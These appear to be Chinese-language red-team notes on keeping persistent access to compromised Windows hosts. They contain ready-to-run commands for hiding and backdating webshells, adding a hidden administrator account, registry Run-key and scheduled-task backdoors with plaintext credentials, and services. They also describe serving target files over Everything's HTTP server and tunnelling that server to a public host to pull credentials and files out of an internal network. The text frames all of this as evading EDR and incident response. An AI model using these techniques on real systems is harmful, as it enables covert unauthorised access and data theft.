10.权限维持

1. windows权限维持

Pasted image 20250427225439

其中比较有用的就是 系统服务后门 其他的方法基本都被杀软、edr检测烂了如果有HIDS这些更不用想了。

Pasted image 20250427222414

1.1. 权限维持的目的

  • 就是为了持续控制,甚至永久控制 拼的就是一个技术差和时间差
  • 争取时间差进行下一步流程
  • 提高攻击隐蔽性
  • 多次攻击中配合其他攻击动作
    在攻击队视角下,当我们突破DMZ或者上线办公网的主机之后, 应该掌握一定的权限维持技巧,来防止权限丢失

1.1.1. 上策

信息收集->顺藤摸瓜->数据库利用->内部RDP、SSH、VNC 服务利用

利用可以是水坑攻击。利用内部信息社工,或者转向外部的其他平台,拿到账号,人员信息去利用
或者内网横向,找到DMZ或者外联主机,步步为营。

1.1.2. 下策

先密码喷洒,再根据可达网段进行Fscan

背景

我们拿到的权限 一般分为两种

类型一
webshell类型 asp jsp php 或者 java 内存马 特征 :正向跳板 强加密的情况下,很难和业务区分(比如https证书加持的情况下)

类型二
linux反弹shell、CS反向beacon 特征:反连 极其容易被发现

一般我是建议,先采取信息收集和数据库的利用。就我们刚才所说的权限维持的一个上上策。
最后你实在没办法了,就上CS吧,多人运动,大家一起想办法。
在钓鱼的时候一般都是直接上CS,这种情况会比较多。

 
针对服务器,在前期阶段,最好是先webshell搞
这个时候大家可能会想,就是那既然不上CS,那岂不是和我们之前的那个提权矛盾了吗?
我主要是想表达的观点就是其实
如果想要dumphash,不是只有CS这么一条路
msf、vmpire、哥斯拉、或者你直接内存马上传个mimikatz,都是可行的方案
你遇到这种没有什么防护的单位。 你可以上CS,这样可能会比较方便。

因为从APT的角度,CS流量,就算你做了加密,也很明显,
想要根本规避是不太现实的,
目前云函数,以及特别强的这种免杀的CS,无特征,VPS没被标记,能一定程度降低被发现的几率
才有可能能够通过这种互联网厂商安全厂商的这种各种EdR的识别,各种态势感知到流量识别特征识别,
因为他们现在的流量识别都是会过他们的IOC的。
就算是国护顶级的红队,去打也是这个样子。
你太难做到通过CS去反向shell而不被发现了
除非你是一套源码免杀的远控然后加我前面说的这种改的特征然后CDN白名单的反向shell

1.2. 基于Webshell的权限维持(不好用)

这种只能欺负一下很垃圾的安服
很多情况下,真实的实战都是从web打点拿到了shell,webshell的隐藏也是一个不错的维持权限的方法。使用 Attrib +s +a +h +r 命令就是把原本的文件增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性

attrib +s +a +h +r D:\phpStudy\PHPTutorial\WWW\bluecms\include\cat.fun.php
attrib +s +a +h +r foot.php
# 恢复
attrib -s -a -h -r D:\phpStudy\PHPTutorial\WWW\bluecms\include\cat.fun.php
dir /ah  可以查看到

1.3. 内存马权限维持(常见)

使用条件:针对jsp后缀的文件进行内存马维持

Warning

如果你是通过shiro返序列化log4jfastjson这些打点打进去的,做权限维持意义就不大。别人的内存马payload都是给你写好了。
为了权限维持,可以自己上一个正向代理的内存马,或者其他命名的
意义都不大
只要别人应急响应,重启容器,你的所有内存马都没有了

内存马与正向代理差不多,搞东西(比如扫端口服务)的时候幅度小一点,不然可能会崩

1.4. 伪装成系统文件实现权限维持

1.4.1. 命名规范

实战中你的webshell命名是有一定的要求的,webshell昀好免杀:

  1. 混淆命名edit_book.php foot.php
  2. 不要 cmd.php shell.php payload.php 1.php xszx.php shell.php

1.4.2. 改时间

在 PowerShell 中执行命令的步骤如下:

$file = "C:\Users\admin\Desktop\test\1.txt"  # 替换为您的文件路径
$newDate = Get-Date "2022-01-01 12:00"  # 设置为您想要的早期时间
(Get-Item $file).LastWriteTime = $newDate

Pasted image 20250427232507

1.5. cmd添加隐藏用户 (半隐藏)

NET USER[username [password | *] [options]] [/DOMAIN]
username {password | *} /ADD [options] [/DOMAIN] 
username [/DELETE] [/DOMAIN]
username [/TIMES:{times | ALL}] 
username [/ACTIVE: {YES | NO}]

参数:username 添加用户或更改用户密码 del 删除用户 add 添加用户 times 设置用户登录时间 active 激活用户 domain 指定域

net user administrator$ Admin@123 /add
net localgroup administrators administrator$ /add

在用户名后面加一个 $ 就可以了,这样添加的用户是无法通过 net user 查看到的,但是在计算机的用户和组中还是可以看到的。

因为 $ 在转义到机器码中他和windows中用户操作的 .sys 模块是有冲突的,类似web里面的00截断。

1.6. Windows启动目录

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
C:\Users\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
shell::startup

1.7. Windows注册表

在Windows登录期间创建将执行任意负载的注册表项是红队作战手册中昀古老的技巧之一。这种持久性技术需要创建注册表运行键各种威胁因素和已知工具,如Metasploit提供了这种能力。注册表项可以从终端添加到运行键以实现持久性。这些键将包含对用户登录时将执行的实际负载的引用,已知使用此持久性方法的威胁因素和红队使用以下注册表位置。通过在注册表中写入相应的键值可以实现程序的开机自启动,主要是Run和RunOnce,其中RunOnce和Run区别在于RunOnce的键值只作用一次,执行完毕后会自动删除。

每次用户登录的时候就会触发这个恶意样本的运行,前提要做好免杀。
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v aa /t REG_SZ /d "C:\test1.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v aa /t REG_SZ /d "C:\test.exe(后门文件)"
# 只运行一次

1.8. 计划任务

计划任务在Windows7及之前版本的操作系统中使用 at 命令调用,在从Windows8 版本开始的操作系统中使用schtasks 命令调用。计划任务后门分为管理员权限和普通用户权限两种。管理员权限的后门可以设置更多的计划任务,例如重启后运行等。
1、 (at<win2012):
2、 (schtasks>=win2012) :

#创建任务
shell schtasks /create /s 192.168.3.144 /ru system /u dbadmin /p admin!@#4 5 /tn transfer /sc DAILY /tr c:\transfer.exe /f 
#运⾏任务
shell schtasks /run /s 192.168.3.144 /u dbadmin /p admin!@#45 /tn transfer /i 
#删除任务
schtasks /delete /s 192.168.3.144 /u dbadmin /p admin!@#45 /tn transfer /f 

schtasks /create /tn "任务名称" /tr "要执行的程序或脚本" /sc [频率] /st HH:MM

1.9. SC服务的权限维持

  1. 服务与任务的区别
    • sc create 用于创建一个系统服务。服务是一种后台程序,它可以在Windows启动时自动运行,并且可以在系统后台持续运行,不受用户登录状态的影响。服务通常用于执行系统级别的任务,需要较高的权限来运行。
    • schtasks /Create 用于创建一个计划任务。计划任务是按照特定的时间或事件触发执行的命令或程序。它们通常用于执行用户级别的任务,可以根据需要设置为特定用户权限运行。
  2. 权限要求:
    • sc create 通常需要管理员权限来创建服务,因为服务涉及到系统级别的操作。
    • schtasks /Create 可能不需要管理员权限,这取决于计划任务的配置和执行的命令
  3. 执行频率和触发条件:
    • sc create 创建的服务可以根据配置在系统启动时自动启动( start= auto ),或者手动启动。
    • schtasks /Create 允许更灵活的触发条件,例如可以设置为在特定时间、系统启动时、用户登录时、系统空闲时等条件下执行。
  4. 持久性:
    • 使用 sc create 创建的服务在服务被删除之前会一直存在,即使服务程序退出,服务控制管理器也会尝试重新启动服务。
    • 使用 schtasks /Create 创建的计划任务可以根据需要设置为一次性或重复性任务,并且可以通过任务计划程序进行管理。

1.10. everything维权

为什么要用everything维权
在内网中, 一些凭证的收集, 配置文件, 密码本的获取, 往往是在内网中非常有价值的利用信息, 在自己vps 上我们经常使用Python开启web服务用来下载文件, 但是内网机器中不一定有Python环境, 我们可以通过Everything开启http服务,以及本身自带的搜索功能, 然后利用端口转发把内网机器上的服务转发到公网访问
Pasted image 20250427234552

https://www.voidtools.com/zh-cn/downloads/ 然后将配置文件everything.ini,和便携版的everything一同上传到目标机器

访问
http://127.0.0.1:25050 这样就可以在目标机器上搜索、下载文件了

这里如果是服务器就好说,但是如果是个人主机,很多时候就是一个nat网络。就需要做内网穿透,或者端口转发

使用NPC.exe端口转发来实现

npc -server=139.9.107.79:8024 -vkey=6ko5oixjuk4i3j9y -type=tcp

NPS操作
安装服务端
Pasted image 20250427234857
Pasted image 20250427234903
Pasted image 20250427234905

1.11. 映像劫持后门

1.12. AnyDesk权限维持

设置后门
Pasted image 20250427235158
Pasted image 20250427235201

2. linux权限维持

Pasted image 20250427235215